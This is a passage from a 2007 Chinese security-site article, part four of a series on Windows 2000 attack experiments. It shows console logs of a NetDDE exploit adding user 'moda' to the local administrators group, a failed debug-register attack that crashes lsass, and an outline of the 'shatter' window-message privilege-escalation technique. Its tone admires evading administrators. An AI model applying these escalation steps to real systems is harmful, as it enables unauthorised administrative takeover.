·搜黑-全球首例黑客资讯搜索
·视频-国内视频学习教学大全
·设计-汇集百家设计网站精华
·编程-13大编程语言全面学习
安全中国首页 > 文章中心 > 黑客技术
Win2K系统几个攻击实例成败心得(四)
http://www.anqn.com     时间:2007-8-13 8:26:12      责任编辑:池天      网友评论
热 点:

D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators

  Alias name administrators

  Comment Administrators have complete and unrestricted access to the Members

  -----------------------------------------------------------------------------

  a_mao

  Administrator

  The command completed successfully.

  /*

  本地administrators Group目前只有两个成员,Administrator和a_mao。试着把“moda”加入到本地administrators Group中:

  */

  D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators /add moda

  System error 5 has occurred.

  Access is denied.

  /*

  我的权限显然不够,所以得到error 5。

  运行DilDog的Exploit程序,同时附带上我的黑客命令:

  */

  D:\MyJob\securitylab\netddemsg\Debug>netddemsg -s Chat$

  net localgroup administrators /add moda

  /*

  程序运行结束,让我们看看“moda”是否加入本地administrators Group:

  */

  D:\MyJob\securitylab\netddemsg\Debug>

  D:\MyJob\securitylab\netddemsg\Debug>net localgroup

  administrators

  Alias name administrators

  Comment Administrators have complete and unrestricted

  access to the

  Members

  -----------------------------------------------------------------------------

  a_mao

  Administrator

  moda

  The command completed successfully.


  D:\MyJob\securitylab\netddemsg\Debug>

  /*

  我也光荣地加入了本地administrators Group

  */   

  利用Windows 2000/Intel中的Debug Register来提升权限:

  我是在Georgi Guninski的个人网站http://www.guninski.com)上看到这篇文章:

  “Elevation of Privileges with debug registers on Win2k”,介绍如何利用Intel X86中的Debug Register来获取Local Administrator的权限。我的运气不太好,用文章中的Exploit程序Pipe3试了几次也不能成功,不过觉得利用Debug Register来攻击是个新的思路,所以就在这里顺便介绍一下。

  Intel X86的Debug Register(DR0-DR7寄存器)是所有进程共用的。也就是说,你在一般用户进程中下一个绊子(就是设置一个断点),没准会把某个系统进程或者服务进程(Service)绊一跤;这一跤要是把系统/服务进程摔垮了,导致它停止执行的话,你没准就可以伪造该进程的Named Pipe;然后当有其它进程企图通过Named Pipe与垮掉的系统/服务进程联络时,黑客就可以利用函数ImpersonateNamedPipeClient来窃取其它进程的权限----这很可能就是Local SSystem的权限。

  文章中的Exploit程序Pipe3(请从网http://www.guninski.com下载)就是按照这个思路设计的:它要整垮的进程是lsass,所以必须先找几个lsass进程将要运行的指令的地址,以便在这些地址设置断点(也就是搞清楚lsass要走哪一条路,我们才好在那条路上设绊脚石);然后Pipe3以一般用户的权限运行程序Calc(计算器),并在其中设置断点,因为这断点的地址是在lsass运行的途径上,所以它们并不会影响Calc进程;过不了多久lsass就会有报告“SingleStep Exception”并让你选择是中断lsass运行还是Debug lsass进程;选择中断lsass以便关闭lsass拥有的Named Pipe----\ '5c.\pipe\lsass",这样Pipe3就可以伪造一个同名的Named Pipe;。。。。。。这以后的几步我想就不用重复了,大家都应该清楚。下面说说我Exploit的情况:

  先用WinDbg找到lsass可能要运行的指令地址,lsass有多个Thread,我从不同Thread的ESP寄存器中找了几个地址。然后以我的一般用户名“moda”登录dallas。最后让Pipe3在这些地址分别设断点,总有那么一个地址会成功地中断lsass程,并且产生一个Warning对话框(Dialog Box)报告“SingleStep Exception”。当我选择中断进程后,lsass退出执行,Pipe3报告“LSA died!”:

  D:\MyJob\securitylab\pipe3\Debug>pipe3

  Fun with debug registers. Written by Georgi Guninskivvdr started: lsasspid=240 breakp=5ffebc

  LSA died!

  Stop writing to pipe

  start \\.\pipe\lsass

  Failed to create named pipe:

  \\.\pipe\lsass

  由于lsass是重要的系统进程,它的终止运行将使系统在一分钟内自动Shutdown。另外我们注意到,
\\.\pipe\lsass并没有成功地创建。为什么呢?我抢在系统Shutdown之前运行了一下Pipelist:

  D:\MyJob\securitylab\pipe3\Debug>pipelist

  PipeList v1.01

  by Mark Russinovich

  http://www.sysinternals.com

  Pipe Name Instances Max Instances

  --------- --------- -------------

  InitShutdown 2 -1

  lsass 2 -1

  ntsvcs 49 -1

  scerpc 2 -1

  net\NtControlPipe1 1 1

  DhcpClient 1 -1

  net\NtControlPipe2 1 1

  。。。。。。。。。。。。。。。。

  很奇怪,虽然lsass进程终止运行,但是它的Named PPipe还在----这大概是Pipe3没能创建“\\.\pipe\lsass”的原因。由于时间的关系,我没能深入研究这个问题,不过哪位朋友要是用Pipe3成功地实现Exploit的话,不要忘记告诉我一声!

  不过话又说回来,这种利用Debug Register来终止lsass进程的方法----即使成功的话,也太暴露了:整个系统居然会Shutdown!任何一个傻瓜管理员都会发现有黑客入侵。这大概是黑客中的业余水平。好一点的黑客要做到“轻轻的我走了,正如我轻轻的来”,要象伟大的诗人兼武林高手徐自摩那样施展一把轻功,让傻瓜管理员根本发现不了,当然耳朵厉害的管理员还是会发现的----“谁?有黑客!抓黑客!”。水平达到最高境界的黑客应该是能够羚羊挂角、踏雪无痕的,这就不是我能评论的了。

  利用Win32 API的设计缺陷提升权限:

  几个星期以前我在计算机安全网站看到两篇新发表的文章:<>、<>,作者是Chris

  Paget(网名Foon),我建议大家去下面的网址读一下他的原著:

  http://security.tombom.co.uk/shatter.html

  http://security.tombom.co.uk/moreshatter.html。

  这两篇文章详细地介绍了如何利用Win32 API的一个设计缺陷来提升普通用户的权限。我们前面也提到,普通用户的进程可以向他/她的Desktop上任何Window发送Message,让目标Window执行用户指定的操作,比如说COPY/PASTE(拷贝/沾贴)、定时运算(Timer)等等。这个Window可能属于用户自己,也可能属于Local System(象"NetDDE Agent")----这样问题就来了:

  ---- 普通用户如你我他她它(比尔盖茨说狗也可能上网的,所以我们要算上“它”)在他的Desktop上先找到一个属于Local System的Window,我们给这个Window起一个名字叫WINDOWXYZ,这个WINDOWXYZ上最好有能接收沾贴内容的Control(比如说 EDIT);

  ---- 用户可以把黑客码用“WM_PASTE”(Message之一)沾贴到WINDOWXYZ的Control里;

  ---- 用户找到被沾贴的黑客码在WINDOWXYZ进程中的地址;

  ---- 用户然后发送“WM_TIMER”(Message之二)给WINDOWXYZ,同时把黑客码地址作为参数一并传给WINDOWXYZ,WINDOWXYZ於是执行定时运算,开始运行黑客码。这些 黑客码是以Local System的权限运行的,所以普通用户的权限被成功地提升。

  ---- 实际上,根据FOON的文章,即使普通用户在其Desktop上找不到属于Lo

·上一篇: 暂时空缺
·下一篇: Win2K系统几个攻击实例成败心得(三)

发表评论  打印本文  返回顶部  关闭窗口
最新5条评论 条评论
条评论
名称: 信箱:

相关连接
·专题:Win2K系统几个攻击实例成败心得(六章) [2007-8-23]
·Win2K下关闭默认开启的139,445端口 [2007-8-21]
·Win2K系统几个攻击实例成败心得(一) [2007-8-13]
·Win2K系统几个攻击实例成败心得(二) [2007-8-13]
·Win2K系统几个攻击实例成败心得(三) [2007-8-13]
·Win2K系统几个攻击实例成败心得(五) [2007-8-13]
·Win2K系统几个攻击实例成败心得(六) [2007-8-13]
·Win2k入侵后后门的放置 [2006-7-25]
·巧妙修改Win2k注册表抵抗拒绝服务 [2006-4-22]
·高级WIN2K ROOTKIT检测技术 [2006-3-23]